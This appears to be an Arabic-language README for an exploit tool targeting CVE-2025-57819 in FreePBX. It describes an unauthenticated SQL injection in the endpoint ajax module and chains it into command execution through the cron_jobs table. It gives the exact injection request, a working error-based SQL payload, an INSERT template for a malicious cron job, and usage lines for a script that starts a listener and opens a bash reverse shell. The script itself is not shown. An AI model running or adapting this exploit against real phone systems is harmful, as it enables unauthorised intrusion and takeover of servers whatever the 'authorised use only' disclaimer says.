
CVE-2025-57819 -> rce
استغلال لمرة واحدة لحقن SQL غير مصدق عليه في Endpoint Manager في FreePBX (CVE-2025-57819)، متسلسل إلى تنفيذ أوامر عن بعد عبر جدول cron_jobs في FreePBX.
للاستخدام المصرح به فقط في اختبارات الأمان / مسابقات CTF.
معالج ajax لوحدة endpoint يقوم بتسلسل المعامل brand مباشرة في استعلام SQL، ومسار الوحدة FreePBX\modules\endpoint\ajax يتجاوز فحص Referrer/المصادقة في ajax. وهذا يتيح حقن SQL غير مصدق عليه قائم على الأخطاء (عبر EXTRACTVALUE)، مع تمكين الكتابة عبر استعلامات مكدسة.
نقطة الحقن:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
إثبات (قراءة قائمة على الأخطاء):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
المتأثر: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
الحقن هو للقراءة فقط بمفرده، لكن الاستعلامات المكدسة تسمح بالكتابة. يقوم FreePBX بتشغيل المهام من جدول cron_jobs عبر مدير cron الخاص به، لذا فإن إدراج صف يؤدي إلى تنفيذ أوامر عشوائية (خلال ~60 ثانية، الجدول الزمني * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
الأمر المحقون هو شل عكسي bash. يتم حذف صف cron تلقائيًا بعد أول استدعاء لتجنب الاتصالات المتكررة.
pip install requests urllib3
بايثون 3. كشف IP المدمج (-i/--interface) خاص بلينكس فقط؛ استخدم --ip على المنصات الأخرى.
# الإعدادات الافتراضية: واجهة tun0، المنفذ 4444 — يبدأ المستمع، يستغل، يمنح شل
python3 exploit.py http://{target}
# اختيار واجهة / منفذ آخر
python3 exploit.py http://{target} -i eth0 -p 9001
# تعيين IP المستمع صراحةً
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
النص البرمجي: